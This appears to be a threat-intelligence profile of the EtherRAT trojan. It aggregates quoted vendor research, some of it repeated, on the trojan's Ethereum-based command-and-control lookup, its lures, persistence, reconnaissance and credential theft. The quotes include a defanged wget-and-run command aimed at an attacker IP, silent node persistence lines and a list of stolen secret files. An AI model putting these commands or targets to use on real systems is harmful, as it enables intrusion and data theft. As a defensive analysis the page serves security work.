Loading malware…
EtherRAT is a Node.js-based remote access trojan that uses Ethereum smart contracts to discover its command-and-control infrastructure. It targets Windows workstations through social engineering and has also been observed targeting Linux servers through exploitation of server-side vulnerabilities. Its EtherHiding mechanism queries public Ethereum JSON-RPC services, retrieves encoded configuration from a smart contract, and resolves the current external command-and-control destination. Operators can change that destination without modifying deployed implants; the blockchain serves as a resolver rather than carrying all operational commands.
EtherRAT executes attacker-supplied JavaScript, enabling command execution, file access, process creation, network communication, and additional payload retrieval. Observed activity includes host and security-product reconnaissance, domain and network-resource enumeration, and screenshot capture. The malware also includes credential-theft and lateral-movement modules. Windows installation chains use obfuscated PowerShell and JavaScript, reuse an existing legitimate Node.js runtime or download one when necessary, and may rename the runtime or disguise JavaScript as configuration or data files. Windows variants establish persistence through a user-level Run key and camouflage polling requests with randomized paths and ordinary-looking file extensions.
Distribution includes ClickFix copy-and-paste lures, search-engine poisoning, fraudulent software repositories, and malicious MSI packages impersonating administrative utilities. Hospitality-focused phishing campaigns use fabricated guest complaints, negative reviews, and legal threats to deliver archives containing malicious Windows shortcuts disguised as images. EtherRAT has also been deployed across Windows domains by an affiliate of The Gentlemen ransomware operation using remote scheduled tasks and malicious installers. In such intrusions, it provides persistent remote access alongside separate credential-access, tunneling, remote-management, and ransomware tooling.
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
6 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
EtherRAT has surfaced in a Windows domain intrusion tied to an affiliate of the Gentlemen ransomware operation.
Threat actors are weaponizing something as ordinary as a Microsoft Teams call to slip past corporate defenses and plant EtherRAT, a stealthy cross-platform remote access trojan.
Cybercriminals are using fake IT support calls on Microsoft Teams to persuade employees to surrender control of their PCs before installing the EtherRAT remote access trojan... EtherRAT is a Node.js RAT that runs across Windows, Linux, and macOS...
Ultimately, Atos Researchers identified it to be an EtherRat malware, a recently emerging threat using Ethereum to store C2 URL addresses, preventing takedown of the infrastructure.
this payload, dubbed EtherRAT, represents something far more sophisticated. It is a persistent access implant that combines techniques from at least three documented campaigns into a single, previously unreported attack chain.
“this payload, dubbed EtherRAT… is a persistent access implant… EtherRAT leverages Ethereum smart contracts for command-and-control (C2) resolution…”
98 distinct techniques documented for this family, organized by ATT&CK tactic.
During the call, the attacker persuades the target to hand over remote control and install legitimate remote administration tools such as HopToDesk or AnyDesk.
threat actors are impersonating IT support staff via Microsoft Teams voice calls to trick employees into installing the EtherRAT malware
Le même compte GitHub hébergeait plusieurs autres dépôts imitant des utilitaires légitimes.
The campaign works by poisoning search engine results across multiple major platforms, including Bing, Yahoo, DuckDuckGo, and Yandex. When IT staff search for tools like PsExec, AzCopy, Sysmon, LAPS, or KustoExplorer, the search results surface fake, professional-looking GitHub repositories at the top of the page.
the target receives an unsolicited Teams voice call from an external account impersonating a “System Administrator.”
credentials that should never have left the network were suddenly used from an unauthorized external source... The trail led back to a single server: their public-facing web application.
EtherRAT was embedded inside a trojanized copy of Tftpd64, a widely used TFTP server and administration tool for Windows. The compromised version was hosted on a fake GitHub repository that impersonated the official project, offering downloads labeled “Tftpd64 v4.74” to trick users into installing what appeared to be a legitimate update.
The campaign begins with a phishing email carrying an “Employee Survey” lure and a malicious PDF attachment.
The campaign, detailed by Palo Alto Networks' Unit 42, begins with a phishing email containing a malicious PDF.
These documents ask the user to click a link to view another document.
The compromised distribution investigated by our team originated from a malicious GitHub repository impersonating the official project and offering downloads for “Tftpd64 v4.74.” Users who retrieved the ZIP or MSI file unknowingly received a bundle containing the EtherRAT implant embedded alongside legitimate‑looking components.
Researchers have classified this initial-access technique as voice-call phishing, or “vishing”, combined with cross-tenant impersonation.
The attackers used administrative shares, Windows Management Instrumentation, and remote task registration to reach internal hosts.
The operators used remote scheduled tasks to push malicious installer packages to other systems.
The script also establishes persistence by creating... a Cron task... If executed without root privileges... adds it to both crontab (via @reboot) and .bashrc... EtherRAT establishes persistence through... crontab.
The recovered script below creates remote scheduled tasks that download and silently install an MSI package.
then executes the system command id on the server.
Script PowerShell obfusqué stagé dans %LOCALAPPDATA%\<répertoire aléatoire>\aWhXKGlA.ps1
deploy2.cmd uses a batch for loop to iterate through local IP addresses, creating remote Scheduled Tasks named WinSvcUpdate2.
After compromising a host via the React2Shell vulnerability, threat actors executed the following commands inside a container: /bin/sh -c 'cd /tmp; wget hxxp://176.117.107[.]154/bot; chmod 777 bot; ./bot...'
Exécution d’un JavaScript obfusqué ( DdkExG1tIy.ini ) par le runtime Node.js
Déployé silencieusement sur quatre endpoints via le mécanisme MDM ( MDMAppInstaller.exe / omadmclient.exe ). Intune lui-même n’a pas été compromis.
the attacker downloads and runs a malicious MSI installer that quietly fetches a legitimate Node.js runtime onto the compromised machine. The installer then decrypts hidden payloads bundled inside it, eventually launching the EtherRAT malware itself.
The threat actors leveraged the CVE‑2025‑55182 (React2Shell) vulnerability... Under certain conditions, this can enable an attacker to execute arbitrary code on the server.
often using fake CAPTCHA lures to trick users into executing code via malicious copy and paste (aka paste and run, ClickFix, fakeCAPTCHA)
Le MSI malveillant a ensuite été importé dans Microsoft Intune comme installeur légitime d’Advanced IP Scanner [...] puis déployé silencieusement sur quatre endpoints.
The malware establishes persistence through... .bashrc : (nohup /usr/bin/node <jsPath> >/dev/null 2>&1 &) ... .profile : (/usr/bin/node <jsPath> >/dev/null 2>&1 &)
Five persistence mechanisms : Systemd services, XDG autostart, cron jobs, bashrc injection, and profile injection.
The operators used remote scheduled tasks to push malicious installer packages to other systems.
The script also establishes persistence by creating... a Cron task... If executed without root privileges... adds it to both crontab (via @reboot) and .bashrc... EtherRAT establishes persistence through... crontab.
The recovered script below creates remote scheduled tasks that download and silently install an MSI package.
the target receives an unsolicited Teams voice call from an external account impersonating a “System Administrator.”
The script created a local administrator account, attempted to add it to Domain Admins
What is the comment field in the attacker’s injected SSH public key?... ssh-rsa <public key> <comment> ... maromalix@ether_dev
The intrusion enables RDP, disables RDP Network Level Authentication, modifies UAC-related policy values and creates the EtherRAT Run value.
The script created a local administrator account, attempted to add it to Domain Admins
The script created a local administrator account
EtherRAT is a Node.js RAT that runs across Windows, Linux, and macOS, giving attackers the usual menu of post-compromise tricks: running commands, stealing data, manipulating files, and maintaining access.
What is the filename of the systemd user service created for persistence?... c16a536e1a9cb42d.service
If executed without root privileges... adds it to both crontab (via @reboot) and .bashrc... EtherRAT establishes persistence through... .bashrc ... .profile
The malware establishes persistence through... XDG Autostart: [Desktop Entry] Type=Application Name=System Service Exec=/usr/bin/node /<jsPath>
After installation, EtherRAT decrypts a JavaScript backdoor and establishes a Run-key entry so it launches again when the user signs in.
T1547.013 XDG Autostart Entries is a technique in the MITRE ATT&CK framework under the Persistence tactic. It refers to the use of XDG Autostart Entries in Linux systems to automatically execute applications when a user logs into their desktop environment.
This script automatically modifies the configuration of nginx and Apache web servers in order to force all HTTP and HTTPS traffic to redirect to an external domain.
The malware establishes persistence through... .bashrc : (nohup /usr/bin/node <jsPath> >/dev/null 2>&1 &) ... .profile : (/usr/bin/node <jsPath> >/dev/null 2>&1 &)
Five persistence mechanisms : Systemd services, XDG autostart, cron jobs, bashrc injection, and profile injection.
The operators used remote scheduled tasks to push malicious installer packages to other systems.
The script also establishes persistence by creating... a Cron task... If executed without root privileges... adds it to both crontab (via @reboot) and .bashrc... EtherRAT establishes persistence through... crontab.
The recovered script below creates remote scheduled tasks that download and silently install an MSI package.
Stage 3 is the malware’s main payload, a JavaScript file that runs silently in the background on every system boot inside conhost.exe, a legitimate Windows process, so it does not stand out in Task Manager.
the target receives an unsolicited Teams voice call from an external account impersonating a “System Administrator.”
The script created a local administrator account, attempted to add it to Domain Admins
What is the comment field in the attacker’s injected SSH public key?... ssh-rsa <public key> <comment> ... maromalix@ether_dev
EtherRAT is a Node.js RAT that runs across Windows, Linux, and macOS, giving attackers the usual menu of post-compromise tricks: running commands, stealing data, manipulating files, and maintaining access.
What is the filename of the systemd user service created for persistence?... c16a536e1a9cb42d.service
If executed without root privileges... adds it to both crontab (via @reboot) and .bashrc... EtherRAT establishes persistence through... .bashrc ... .profile
The malware establishes persistence through... XDG Autostart: [Desktop Entry] Type=Application Name=System Service Exec=/usr/bin/node /<jsPath>
After installation, EtherRAT decrypts a JavaScript backdoor and establishes a Run-key entry so it launches again when the user signs in.
T1547.013 XDG Autostart Entries is a technique in the MITRE ATT&CK framework under the Persistence tactic. It refers to the use of XDG Autostart Entries in Linux systems to automatically execute applications when a user logs into their desktop environment.
If the payload runs without root privileges, it attempts to re-execute the hijacking logic with elevated permissions: `sudo node -e ...`
Script PowerShell obfusqué [...] Exécution d’un JavaScript obfusqué ( DdkExG1tIy.ini )
After startup, the RAT sends its own source code to the C2 server. The C2 responds with a newly obfuscated version of the script, which is written back to disk, making each execution generate a new file hash.
Furthermore, the EtherRAT payloads never touch the disk, since they are run by Node.js. This is another example of fileless malware, which is becoming more common.
Téléchargement ou réutilisation d’un runtime Node.js légitime, renommé ( FbtRYX8x.exe )
Un second dépôt GitHub impersonant Advanced IP Scanner a été découvert, distribuant un MSI malveillant.
Stage 3 is the malware’s main payload, a JavaScript file that runs silently in the background on every system boot inside conhost.exe, a legitimate Windows process, so it does not stand out in Task Manager.
download the Node.js runtime from its official distribution endpoint to a temporary archive via curl, extract it into a build-specific runtime subdirectory within the staging directory, and delete the zip archive to minimize forensic artifacts on disk.
the target receives an unsolicited Teams voice call from an external account impersonating a “System Administrator.”
the attacker downloads and runs a malicious MSI installer that quietly fetches a legitimate Node.js runtime, then decrypts hidden payloads bundled inside it
The deployment scripts used certutil.exe, a legitimate Windows utility, to retrieve an MSI package, then invoked msiexec.exe to install it quietly. | The deployment scripts used certutil.exe, a legitimate Windows utility, to retrieve an MSI package
invoked msiexec.exe to install it quietly
EtherRAT does not hardcode a C2 domain. Instead it uses EtherHiding for evasion, meaning that it reads its C2 address from the Ethereum blockchain.
The malware checks system locale to avoid execution in certain regions. What is the first locale code in the blocklist?... ru
...enables EtherRAT to establish a concealed directory within the local app data folder while deploying a self-contained Node.js runtime and other staged components to evade security tools...
What is the hidden directory path used by the malware to store its components?... ~/.local/share/.05bf0e9b
The HTA payload hides its window... conhost.exe, the legitimate Console Window Host, is invoked with --headless , which suppresses the console window
Stage 2 is a minimal Node.js script, unobfuscated and fully readable, that is never saved to disk... decrypt it using a hardcoded key and initialization vector (IV), and execute it in memory.
Updated 2026-06-28-Fake-IT-support-abuses-Teams-to-deliver-EtherRAT.txt
The intrusion enables RDP, disables RDP Network Level Authentication, modifies UAC-related policy values and creates the EtherRAT Run value.
This script automatically modifies the configuration of nginx and Apache web servers in order to force all HTTP and HTTPS traffic to redirect to an external domain.
The script created a local administrator account, attempted to add it to Domain Admins, disabled security services
disabled security services, exported registry hives
The payload maintains a list of 50+ high-value filenames: '.env' ... 'wallet.json' ... 'id_rsa' ... '.git-credentials' ... 'terraform.tfvars' ... The scan recursively walks search directories...
Targeted secret patterns... Ethereum private keys (64 hex chars), PEM/SSH private keys... SSH private keys (id_rsa, id_ed25519, id_ecdsa)
This is a script that functions as a JS-based stealer designed to collect and exfiltrate a wide array of sensitive user data, including cryptocurrency wallets, access tokens, cloud service configurations, and database credentials.
Windows: %APPDATA%\Ethereum... Chrome/Brave extension storage (MetaMask, Phantom, etc.)
This script automatically modifies the configuration of nginx and Apache web servers in order to force all HTTP and HTTPS traffic to redirect to an external domain.
What is the endpoint path used for exfiltrating harvested credentials?... /crypto/keys
T1016 — System Network Configuration Discovery (Discovery)
cmd.exe /d /s /c “net session”
Script 3... generates random public IPv4 addresses and tries them against ports 80, 443, 3000, 3001, 8080, 8443. After identifying a host vulnerable to React2Shell, it exploits the vulnerability...
Énumération réseau via net session et net use
The alive.sh script executes ps -eo pid,pcpu --no-headers... The script also records... a list of running web server processes.
Collecte d’informations système : locale Windows, antivirus installés, GPU, appartenance au domaine, Machine GUID, disques logiques
Decoded commands: ls ... nslookup `ls`... The JS-based stealer recursively traverses directories with a depth limit... scans home and system directories...
...obtaining Active Directory domain membership...
EtherRAT does not hardcode a C2 domain. Instead it uses EtherHiding for evasion, meaning that it reads its C2 address from the Ethereum blockchain.
The malware checks system locale to avoid execution in certain regions. What is the first locale code in the blocklist?... ru
Antivirus detection... Windows: queries SecurityCenter2 WMI namespace // Linux: searches process list for known AV processes
Collecte d’informations système : locale Windows, antivirus installés, GPU, appartenance au domaine, Machine GUID, disques logiques
it also extracts tokens and API keys from various services, including ... cloud providers (AWS, GCP, Azure) ... extracts AWS configuration files, gcloud-credentials
extracts AWS configuration files, gcloud-credentials, and Kubernetes and Docker configuration files
...obtaining Active Directory domain membership, system locale, and other details...
Once the victim answers, the attacker persuades them to enable Teams' built-in screen sharing feature, granting remote control of the device.
The attackers used administrative shares, Windows Management Instrumentation, and remote task registration to reach internal hosts. | A fallback path copied the installer through SMB.
Déployé silencieusement sur quatre endpoints via le mécanisme MDM ( MDMAppInstaller.exe / omadmclient.exe ). Intune lui-même n’a pas été compromis.
This module continuously scans the internet for vulnerable Next.js servers and exploits React2Shell (CVE-2025-55182) to propagate the same vulnerability used in the initial compromise.
EtherRAT’s capabilities include modules for credential theft, lateral movement, and web server hijacking.
EtherRAT can execute commands, steal data, and maintain persistence
Capture d’écran via PowerShell (.NET System.Windows.Forms / System.Drawing ), encodée en Base64 et écrite dans %LOCALAPPDATA%\Temp\ss_1790589100185.txt
The collection contained scripts, task configurations, installers, tunnelling tools, and reverse shells... preserve several routes back into a victim environment while collecting credentials and Active Directory data.
EtherRAT queried Ethereum for its command-and-control configuration... The attacker later updated the configuration to point to a TryCloudflare tunnel, enabling communications with the installed malware.
T1071.001 — Application Layer Protocol: Web Protocols (Command and Control)
The script created a local administrator account, attempted to add it to Domain Admins, disabled security services, exported registry hives, and set up a tunnel for remote access.
Five hours later, the attacker dropped EtherRAT and set up a Cloudflare tunnel using a renamed copy of cloudflared... A reverse shell on port 43301 and multiple Chisel SOCKS tunnels gave them layered persistence
A reverse shell on port 43301 and multiple Chisel SOCKS tunnels gave them layered persistence that could survive individual detections.
Connexions répétées aux fournisseurs Ethereum RPC publics pour récupérer la configuration C2 via smart contracts (mécanisme dead-drop)
The use of a blockchain to resolve C2 infrastructure, also known as blockchain-based dead drop resolving, is a novel technique to create more persistent ways of providing updated C2s to infected hosts.
Téléchargement ou réutilisation d’un runtime Node.js légitime, renommé ( FbtRYX8x.exe )
It also staged reverse-shell tooling, giving the operator backup options if one access route failed.
T1568 — Dynamic Resolution (Command and Control)
This allows the attacker to execute new commands, perform operations on files and folders, modify the registry, and exfiltrate data.
The use of 'webhook.site' (a legitimate debugging service) for exfiltration is notable because it provides a disposable, anonymous endpoint that doesn't require attacker-controlled infrastructure.
...a new hybrid attack campaign that combines system compromise with cryptocurrency theft... before downloading another Node.js runtime and targeting several Ethereum RPC endpoints and Ethereum wallet addresses.
230 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
110 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.